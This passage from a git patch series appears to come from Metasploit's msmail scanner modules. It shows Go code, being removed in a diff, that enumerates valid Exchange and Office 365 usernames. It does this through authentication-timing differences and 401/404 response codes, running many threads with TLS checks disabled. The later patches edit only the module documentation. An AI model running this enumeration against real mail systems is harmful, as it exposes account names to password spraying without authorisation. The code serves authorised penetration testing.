strconv.ParseBool(params["OnPrem"].(string)) - if e != nil { - module.LogError("Unable to parse 'OnPrem' value: " + e.Error()) - return - } - - o365, e := strconv.ParseBool(params["O365"].(string)) - if e != nil { - module.LogError("Unable to parse 'O365' value: " + e.Error()) - return - } - - if !onPrem && !o365 { - module.LogError("'OnPrem' and/or 'O365' needs to be set") - return - } - - threads, e := strconv.Atoi(params["THREADS"].(string)) - if e != nil { - module.LogError("Unable to parse 'Threads' value using default (5)") - threads = 5 - } - - if threads > 100 { - module.LogInfo("Threads value too large, setting max(100)") - threads = 100 - } - - if onPrem { - runOnPrem(params, threads) - } - - if o365 { - runO365(params, threads) - } -} - -func runOnPrem(params map[string]interface{}, threads int) { - // The core shim prevents an empty RHOSTS value - we should fix this. - userFile := params["USER_FILE"].(string) - userName := params["USERNAME"].(string) - host := params["RHOSTS"].(string) - - if userFile == "" && userName == "" { - module.LogError("Expected 'USER_FILE' or 'USERNAME' field to be populated") - return - } - - var validUsers []string - avgResponse := basicAuthAvgTime(host) - if userFile != "" { - validUsers = determineValidUsers(host, avgResponse, importUserList(userFile), threads) - } else { - validUsers = determineValidUsers(host, avgResponse, []string{userName}, threads) - } - - reportValidUsers(host, validUsers) -} - -func runO365(params map[string]interface{}, threads int) { - email := params["EMAIL"].(string) - emailFile := params["EMAIL_FILE"].(string) - host := params["RHOSTS"].(string) - - if email == "" && emailFile == "" { - module.LogError("Expected 'EMAIL' or 'EMAIL_FILE' field to be populated") - return - } - - var validUsers []string - if email != "" { - validUsers = o365enum([]string{email}, threads) - } - - if emailFile != "" { - validUsers = o365enum(importUserList(emailFile), threads) - } - - reportValidUsers(host, validUsers) -} - -func importUserList(tempname string) []string { - userFileBytes, err := ioutil.ReadFile(tempname) - if err != nil { - module.LogError(err.Error()) - } - var userFileString = string(userFileBytes) - userArray := strings.Split(userFileString, "\n") - //Delete last unnecessary newline inserted into this slice - userArray = userArray[:len(userArray)-1] - return userArray -} - -func determineValidUsers(host string, avgResponse time.Duration, userlist []string, threads int) []string { - limit := threads - var wg sync.WaitGroup - mux := &sync.Mutex{} - queue := make(chan string) - - /*Keep in mind you, nothing has been added to handle successful auths - so the password for auth attempts has been hardcoded to something - that is not likely to be correct. - */ - pass := "Summer2018978" - internaldomain := msmail.HarvestInternalDomain(host, false) - url1 := "https://" + host + "/autodiscover/autodiscover.xml" - url2 := "https://" + host + "/Microsoft-Server-ActiveSync" - url3 := "https://autodiscover." + host + "/autodiscover/autodiscover.xml" - var urlToHarvest string - if msmail.WebRequestCodeResponse(url1) == 401 { - urlToHarvest = url1 - } else if msmail.WebRequestCodeResponse(url2) == 401 { - urlToHarvest = url2 - } else if msmail.WebRequestCodeResponse(url3) == 401 { - urlToHarvest = url3 - } else { - module.LogInfo("Unable to resolve host provided to determine valid users.") - return []string{} - } - var validusers []string - tr := &http.Transport{ - TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, - } - for i := 0; i < limit; i++ { - wg.Add(1) - go func(i int) { - defer wg.Done() - for user := range queue { - startTime := time.Now() - webRequestBasicAuth(urlToHarvest, internaldomain+"\\"+user, pass, tr) - elapsedTime := time.Since(startTime) - - if float64(elapsedTime) < float64(avgResponse)*0.77 { - mux.Lock() - module.LogInfo("[+] " + user + " - " + string(elapsedTime)) - validusers = append(validusers, user) - mux.Unlock() - } else { - mux.Lock() - module.LogInfo("[-] " + user + " - " + string(elapsedTime)) - mux.Unlock() - } - } - }(i) - } - - for i := 0; i < len(userlist); i++ { - queue <- userlist[i] - } - - close(queue) - wg.Wait() - return validusers -} - -func basicAuthAvgTime(host string) time.Duration { - internaldomain := msmail.HarvestInternalDomain(host, false) - url1 := "https://" + host + "/autodiscover/autodiscover.xml" - url2 := "https://" + host + "/Microsoft-Server-ActiveSync" - url3 := "https://autodiscover." + host + "/autodiscover/autodiscover.xml" - var urlToHarvest string - if msmail.WebRequestCodeResponse(url1) == 401 { - urlToHarvest = url1 - } else if msmail.WebRequestCodeResponse(url2) == 401 { - urlToHarvest = url2 - } else if msmail.WebRequestCodeResponse(url3) == 401 { - urlToHarvest = url3 - } else { - module.LogInfo("Unable to resolve host provided to determine valid users.") - return -1 - } - - //We are determining sample auth response time for invalid users, the password used is irrelevant. - pass := "Summer201823904" - tr := &http.Transport{ - TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, - } - module.LogInfo("Collecting sample auth times...") - - var sliceOfTimes []float64 - var medianTime float64 - - usernamelist := []string{"sdfsdskljdfhkljhf", "ssdlfkjhgkjhdfsdfw", "sdfsdfdsfff", "sefsefsefsss", "lkjhlkjhiuyoiuy", "khiuoiuhohuio", "s2222dfs45g45gdf", "sdfseddf3333"} - for i := 0; i < len(usernamelist)-1; i++ { - startTime := time.Now() - webRequestBasicAuth(urlToHarvest, internaldomain+"\\"+usernamelist[i], pass, tr) - elapsedTime := time.Since(startTime) - if elapsedTime > time.Second*15 { - module.LogInfo("Response taking longer than 15 seconds, setting time:") - module.LogInfo("Avg Response: " + time.Duration(elapsedTime).String()) - return time.Duration(elapsedTime) - } - if i != 0 { - module.LogInfo(elapsedTime.String()) - sliceOfTimes = append(sliceOfTimes, float64(elapsedTime)) - } - } - sort.Float64s(sliceOfTimes) - if len(sliceOfTimes)%2 == 0 { - positionOne := len(sliceOfTimes)/2 - 1 - positionTwo := len(sliceOfTimes) / 2 - medianTime = (sliceOfTimes[positionTwo] + sliceOfTimes[positionOne]) / 2 - } else if len(sliceOfTimes)%2 != 0 { - position := len(sliceOfTimes)/2 - 1 - medianTime = sliceOfTimes[position] - } else { - module.LogError("Error determining whether length of times gathered is even or odd to obtain median value.") - } - module.LogInfo("Avg Response: " + time.Duration(medianTime).String()) - return time.Duration(medianTime) -} - -func o365enum(emaillist []string, threads int) []string { - limit := threads - var wg sync.WaitGroup - mux := &sync.Mutex{} - queue := make(chan string) - //limit := 100 - - /*Keep in mind you, nothing has been added to handle successful auths - so the password for auth attempts has been hardcoded to something - that is not likely to be correct. - */ - pass := "Summer2018876" - URI := "https://outlook.office365.com/Microsoft-Server-ActiveSync" - var validemails []string - - tr := &http.Transport{ - TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, - } - - for i := 0; i < limit; i++ { - wg.Add(1) - go func(i int) { - defer wg.Done() - for email := range queue { - responseCode := webRequestBasicAuth(URI, email, pass, tr) - if strings.Contains(email, "@") && responseCode == 401 { - mux.Lock() - module.LogInfo("[+] " + email + " - 401") - validemails = append(validemails, email) - mux.Unlock() - } else if strings.Contains(email, "@") && responseCode == 404 { - mux.Lock() - module.LogInfo(fmt.Sprintf("[-] %s - %d \n", email, responseCode)) - mux.Unlock() - } else { - mux.Lock() - module.LogInfo(fmt.Sprintf("Unusual Response: %s - %d \n", email, responseCode)) - mux.Unlock() - } - } - }(i) - } - - for i := 0; i < len(emaillist); i++ { - queue <- emaillist[i] - } - - close(queue) - wg.Wait() - return validemails -} - -func webRequestBasicAuth(URI string, user string, pass string, tr *http.Transport) int { - timeout := time.Duration(45 * time.Second) - client := &http.Client{ - Timeout: timeout, - Transport: tr, - } - req, err := http.NewRequest("GET", URI, nil) - req.Header.Set("User-Agent", "Mozilla/5.0 (iPhone; CPU iPhone OS 11_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1") - req.SetBasicAuth(user, pass) - resp, err := client.Do(req) - if err != nil { - module.LogInfo(fmt.Sprintf("Potential Timeout - %s \n", user)) - module.LogInfo("One of your requests has taken longer than 45 seconds to respond.") - module.LogInfo("Consider lowering amount of threads used for enumeration.") - module.LogError(err.Error()) - } - return resp.StatusCode -} - -func reportValidUsers(ip string, validUsers []string) { - port := "443" - service := "owa" - protocol := "tcp" - for _, user := range validUsers { - opts := map[string]string{ - "port": port, - "service_name": service, - "address": ip, - "protocol": protocol, - "fullname": "auxiliary/scanner/msmail/user_enum", - } - module.ReportCredentialLogin(user, "", opts) - } -} From 60aba5ac44468ae768969cc07ce0b4a9d8b84d4a Mon Sep 17 00:00:00 2001 From: Christopher Lee Date: Tue, 4 Dec 2018 09:41:39 -0600 Subject: [PATCH 6/7] Remove defunct comment --- documentation/modules/auxiliary/scanner/msmail/exchange_enum.md | 2 -- 1 file changed, 2 deletions(-) diff --git a/documentation/modules/auxiliary/scanner/msmail/exchange_enum.md b/documentation/modules/auxiliary/scanner/msmail/exchange_enum.md index 1dad3bc845..33cc64c4f0 100644 --- a/documentation/modules/auxiliary/scanner/msmail/exchange_enum.md +++ b/documentation/modules/auxiliary/scanner/msmail/exchange_enum.md @@ -4,8 +4,6 @@ Exchange installations to enumerate email. Error-based user enumeration for Office 365 integrated email addresses -**Note:** Currently requires RHOSTS which is not used - ## Verification - Start `msfconsole` From 3d8ec178da5c3ac80206305d05780f8ba59548c1 Mon Sep 17 00:00:00 2001 From: Christopher Lee Date: Tue, 4 Dec 2018 09:50:01 -0600 Subject: [PATCH 7/7] Remove unecessary run comment --- documentation/modules/auxiliary/scanner/msmail/exchange_enum.md | 1 - 1 file changed, 1 deletion(-) diff --git a/documentation/modules/auxiliary/scanner/msmail/exchange_enum.md b/documentation/modules/auxiliary/scanner/msmail/exchange_enum.md index 33cc64c4f0..a429b83973 100644 --- a/documentation/modules/auxiliary/scanner/msmail/exchange_enum.md +++ b/documentation/modules/auxiliary/scanner/msmail/exchange_enum.md @@ -8,7 +8,6 @@ Error-based user enumeration for Office 365 integrated email addresses - Start `msfconsole` - `use auxiliary/scanner/msmail/exchange_enum` -- `set RHOSTS ` - `set (`EMAIL` or `EMAIL_FILE`)` - `run` - `creds`